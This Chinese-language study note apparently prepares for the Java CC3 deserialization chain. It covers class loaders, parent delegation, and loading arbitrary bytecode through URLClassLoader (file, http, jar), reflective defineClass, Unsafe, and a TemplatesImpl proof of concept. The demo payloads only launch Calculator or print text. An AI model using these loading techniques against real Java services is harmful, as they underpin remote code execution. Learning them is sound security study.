前言 cc链看到cc3,涉及到类加载,之前囫囵吞枣地学了些,还是不够牢固。于是写篇笔记给自己理清楚。参考了很多前辈的文章,感谢,如果有任何不对的,欢迎找我指正🙏
Java类加载机制 借用网上一张图
.java 编译后生成 .class文件保存在本地,如果我们要执行class文件,就需要经过一系列的生命周期和初始化操作,最后目的就是让JVM成功执行。
看这个流程图就知道类的加载就是由java类加载器实现的,作用将类文件进行动态加载到java虚拟机内存中运行。
几个类加载器 BootstrapClassLoader 这个也叫引导类加载器,比较底层,由C++代码编写,属于JVM的一部分。不继承 java.lang.ClassLoader
类,也没有父加载器,主要负责加载核心 java 库(即 JVM 本身),存储在 /jre/lib/rt.jar
目录当中。(同时处于安全考虑,BootstrapClassLoader
只加载包名为 java
、javax
、sun
等开头的类)。
ExtensionsClassLoader 也叫拓展类加载器,由 sun.misc.Launcher$ExtClassLoader
类实现,用来在 /jre/lib/ext
或者 java.ext.dirs
中指明的目录加载 java 的扩展库。Java 虚拟机会提供一个扩展库目录,此加载器在目录里面查找并加载 java 类。
AppClassLoader App类加载器/系统类加载器(AppClassLoader),由 sun.misc.Launcher$AppClassLoader
实现,一般通过( java.class.path
或者 Classpath
环境变量)来加载 Java 类,也就是我们常说的 classpath 路径。通常我们是使用这个加载类来加载 Java 应用类,可以使用 ClassLoader.getSystemClassLoader()
来获取它。
UserDefineClassLoader 除了上面说的三种,用户还可以通过继承java.lang.ClassLoader
类的方式实现自己的类加载器。
我们介绍的几个ClassLoader之间有父子关系(不是继承),在Java.lang.ClassLoader里面定义了指向父加载器的常量 parent, 可以通过调用 getParent() 方法获取父加载器。可以看一个代码
1 2 3 4 5 6 7 public class ClassLoaderTest { public static void main (String[] args) { System.out.println(ClassLoader.getSystemClassLoader()); System.out.println(ClassLoader.getSystemClassLoader().getParent()); System.out.println(ClassLoader.getSystemClassLoader().getParent().getParent()); } }
打印出来是(这里的null其实就是BootstrapClassLoader,因为是c++实现的,所以无法在java中获取到相应的引用)
1 2 3 sun.misc.Launcher$AppClassLoader@5ce65a89 sun.misc.Launcher$ExtClassLoader@1edf1c96 null
几个ClassLoader关系如下:
所有ClassLoader都继承自java.lang.ClassLoader
这个抽象类, ExtClassLoader 和 AppClassLoader 继承自 URLClassLoader
, URLClassLoader
既可以加载本地字节码,也可以加载远程字节码。
java.lang.ClassLoader
是所有 ClassLoader 的基石,在这个抽象类中定义了几个比较重要的方法
loadClass(): 基于双亲委派机制查找 Class, 调用父加载器的 loadClass 方法或自身的 findClass 方法
findClass(): 根据名称和位置读取字节码, 并调用 defineClass 方法, 具体实现由子类重写
defineClass(): 把 byte 数组形式的字节码转换成对应的 Class 对象 (真正加载字节码的地方)
1 loadClass() -> findClass() -> defineClass()
双亲委派机制 先说一下class有两种加载方式
隐式加载:通过 new 实例化类, 或通过 类名.方法名()
调用其静态方法, 或调用其静态属性
显式加载:通过反射的形式, 例如 Class.forName()
或者调用 ClassLoader 的 loadClass 方法
然后我们的类加载基于双亲委派机制:当一个类加载器收到了类加载的请求的时候,他不会直接去加载指定的类,而是把这个请求委托给自己的父加载器去加载。只有父加载器无法加载这个类的时候,才会由当前这个加载器来负责类的加载
可以看一下实现代码,java.lang.ClassLoader的loadClass()方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException { synchronized (getClassLoadingLock(name)) { Class<?> c = findLoadedClass(name); if (c == null ) { long t0 = System.nanoTime(); try { if (parent != null ) { c = parent.loadClass(name, false ); } else { c = findBootstrapClassOrNull(name); } } catch (ClassNotFoundException e) { } if (c == null ) { long t1 = System.nanoTime(); c = findClass(name); sun.misc.PerfCounter.getParentDelegationTime().addTime(t1 - t0); sun.misc.PerfCounter.getFindClassTime().addElapsedTimeFrom(t1); sun.misc.PerfCounter.getFindClasses().increment(); } } if (resolve) { resolveClass(c); } return c; } }
简单流程就是1、先检查类是否已经被加载过 2、若没有加载则调用父加载器的loadClass()方法进行加载 3、若父加载器为空则默认使用启动类加载器作为父加载器。 4、如果父类加载失败,抛出ClassNotFoundException异常后,再调用自己的findClass()方法进行加载。
不同场景下代码块加载顺序 基础认知
静态代码块:static{}
构造代码块:{}
无参构造器:ClassName()
有参构造器:ClassName(String name)
先写一个Dog.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 package com;public class Dog { public static int staticVar; public int instanceVar; static { System.out.println("静态代码块" ); } { System.out.println("构造代码块" ); } Dog(){ System.out.println("无参构造器" ); } Dog(int instanceVar){ System.out.println("有参构造器" ); } public static void staticAction () { System.out.println("静态方法" ); } }
场景一:实例化对象 1 2 3 4 5 6 7 package com;public class Main { public static void main (String[] args) { Dog dog = new Dog (); } }
打印
所以当我们使用new
来实例化对象的时候,会先调用静态代码块,再调用动态代码块,再根据不同的实例化方法调用不同的构造器
场景二:调用静态方法 1 2 3 4 5 public class Main { public static void main (String[] args) { Dog.staticAction(); } }
打印
所以当我们不实例化对象直接调用静态方法,会先调用类中的静态代码块,然后调用静态方法
场景三:对类中的静态成员赋值 1 2 3 4 5 public class Main { public static void main (String[] args) { Dog.staticVar = 1 ; } }
打印
所以对静态成员变量赋值前,会调用静态代码块
场景四:使用class获取类 1 2 3 4 5 public class Main { public static void main (String[] args) { Class c = Dog.class; } }
没有输出任何东西
场景五:使用forName获取类 1 2 3 4 5 public class Main { public static void main (String[] args) throws ClassNotFoundException{ Class.forName("com.Dog" ); } }
打印
还有
1 2 3 4 Class.forName("com.Dog" , true , ClassLoader.getSystemClassLoader()); Class.forName("com.Dog" , false , ClassLoader.getSystemClassLoader());
利用URLClassLoader加载class文件 URLClassLoader
实际上是我们平时默认使用的 AppClassLoader
的父类,所以,我们解释 URLClassLoader
的工作过程实际上就是在解释默认的 Java
类加载器的工作流程。
先新建一个calc类,注意这里没有声明Calc再哪个包,就是自由的
1 2 3 4 5 6 7 8 9 10 11 import java.io.IOException;public class Calc { static { try { Runtime.getRuntime().exec("open -a Calculator" ); } catch (IOException e){ e.printStackTrace(); } } }
构建生成Calc.class文件,把它放在目录下
file协议 1 2 3 4 5 6 7 8 9 10 11 12 13 package com; import java.net.MalformedURLException; import java.net.URL; import java.net.URLClassLoader; public class URLLoader { public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, InstantiationException, IllegalAccessException { URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("file:///Users/lingtian/Downloads/")}); Class calc = urlClassLoader.loadClass("Calc"); calc.newInstance(); } }
http协议 在Clac.class所在目录开一个http服务
1 2 3 4 5 6 7 8 9 10 11 12 13 package com;import java.net.MalformedURLException;import java.net.URL;import java.net.URLClassLoader;public class URLLoader { public static void main (String[] args) throws MalformedURLException, ClassNotFoundException, InstantiationException, IllegalAccessException { URLClassLoader urlClassLoader = new URLClassLoader (new URL []{new URL ("http://localhost:8000/" )}); Class calc = urlClassLoader.loadClass("Calc" ); calc.newInstance(); } }
服务器这边也可以看到接收到请求
jar+file 1 jar -cvf Calc.jar Clac.class
生成一个jar文件
1 2 3 URLClassLoader urlClassLoader = new URLClassLoader (new URL []{new URL ("jar:file:///Users/lingtian/Downloads/Calc.jar!/" )});Class calc = urlClassLoader.loadClass("Calc" );calc.newInstance();
就是调用前面多一个jar:,总体逻辑是一样的,要注意包声明的位置,需要对得上
jar+http 1 2 3 URLClassLoader urlClassLoader = new URLClassLoader (new URL []{new URL ("jar:http://127.0.0.1:8000/Calc.jar!/" )});Class calc = urlClassLoader.loadClass("Calc" );calc.newInstance();
利用 ClassLoader#defineClass 直接加载字节码 默认的ClassLoader#defineClass方法是native,逻辑在JVM里面的C语言
看一下defineclass的调用模式,name就是类名,b为字节码数组,off为偏移量,len为字节码长度
1 protected final Class<?> defineClass(String name, byte [] b, int off, int len)
因为是保护的属性,无法在外部直接访问,所以我们需要反射调用defineClass()
方法进行字节码的加载
1 2 3 4 5 6 7 8 9 10 public class URLLoaderTest { public static void main (String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException { ClassLoader classLoader = ClassLoader.getSystemClassLoader(); Method method = ClassLoader.class.getDeclaredMethod("defineClass" , String.class, byte [].class, int .class, int .class); method.setAccessible(true ); byte [] code = Files.readAllBytes(Paths.get("/Users/lingtian/Downloads/Calc.class" )); Class c = (Class) method.invoke(classLoader, "Calc" , code, 0 , code.length); c.newInstance(); } }
使用ClassLoader#defineClass
直接加载字节码有个优点就是不需要出网也可以加载字节码。
利用Unsafe 加载字节码 Unsafe也有defineClass(),本质和上一个差不多
1 2 3 4 5 6 7 8 9 10 11 12 13 public static void main (String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, NoSuchFieldException { byte [] code = Files.readAllBytes(Paths.get("/Users/lingtian/Downloads/Calc.class" )); ClassLoader classLoader = ClassLoader.getSystemClassLoader(); Class<Unsafe> unsafeClass = Unsafe.class; Field unsafeField = unsafeClass.getDeclaredField("theUnsafe" ); unsafeField.setAccessible(true ); Unsafe classUnsafe = (Unsafe) unsafeField.get(null ); Method defineClassMethod = unsafeClass.getMethod("defineClass" , String.class, byte [].class,int .class, int .class, ClassLoader.class, ProtectionDomain.class); Class cc = (Class) defineClassMethod.invoke(classUnsafe, "Calc" , code, 0 , code.length, classLoader, null ); cc.newInstance(); }
TemplatesImpl加载字节码 为什么要用这个 为什么用这个:在实际场景中,因为defineClass方法作用域却是不开放的,所以我们很很难直接利用到它,但是我们的TemplatesImpl里的作用域是default
目标,调用到里面的TemplatesImpl有一个内部类,TransletClassLoader,里面调用了defineClass方法(重写),而且这个内部类继承了ClassLoader,而且这个重写的defineClass方法没有写明作用域,就默认是default,所以可以被类外部调用
调用链 确定了目标,接下来确定一下调用链
1 2 3 4 5 TransletClassLoader#defineClass() -> TemplatesImpl#defineTransletClasses() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getOutputProperties()
倒推前面一两个属性都是private,直到newTransformer和getOutputProperties才是public
注意点1 这里有一个点,就是在找defineTransletClasses上一个调用方法的时候,其实是有三个
但是这里getTransletClasses()和 getTransletIndex() 都在调用defineTransletClasses()后没别的动作,那么最后加载的类就无法被实例化/初始化
咱们getTransletInstance()在取得了_class后会对数组里面对应的队形进行无参数 初始化,满足了我们的要求
poc 确定了调用链,先构造一个准备被调用的类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 package com;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class TemplatesBytes extends AbstractTranslet { public TemplatesBytes () throws IOException{ super (); System.out.println("Hello TemplatesBytes" ); } @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException {} @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {} }
这里这个类需要继承com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
然后因为AbstractTranslet这个类里面有一些抽象方法,所以需要重写,然后就直接写我们要做的事情,这里控制打印一下就好
POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 package com;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;public class TemplatesRce { public static void main (String[] args) throws Exception{ byte [] code = Files.readAllBytes(Paths.get("/Users/lingtian/Downloads/TemplatesBytes.class" )); TemplatesImpl templates = new TemplatesImpl (); setFieldValue(templates, "_name" , "Calc" ); setFieldValue(templates, "_bytecodes" , new byte [][] {code}); setFieldValue(templates, "_tfactory" , new TransformerFactoryImpl ()); templates.getOutputProperties(); } public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } }
setFieldValue
这个好高明,直接定义一个方法调用,避免冗余,主要逻辑就是获取成员变量然后修改里面的值就好
注意点2 链子一开始可以是newTransformer()也可以是getOutputProperties(),因为都是public,多一个getOutputProperties去调用也没什么影响,直接newTransformer也是可以的,不用纠结这个,直接修改代码里面的这个就行
参考 b站:白日梦组长
https://drun1baby.top/2022/06/03/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%9F%BA%E7%A1%80%E7%AF%87-05-%E7%B1%BB%E7%9A%84%E5%8A%A8%E6%80%81%E5%8A%A0%E8%BD%BD/
https://exp10it.io/2022/11/java-classloader/
https://xz.aliyun.com/news/8556
https://www.anquanke.com/post/id/260902
https://www.cnblogs.com/hollischuang/p/14260801.html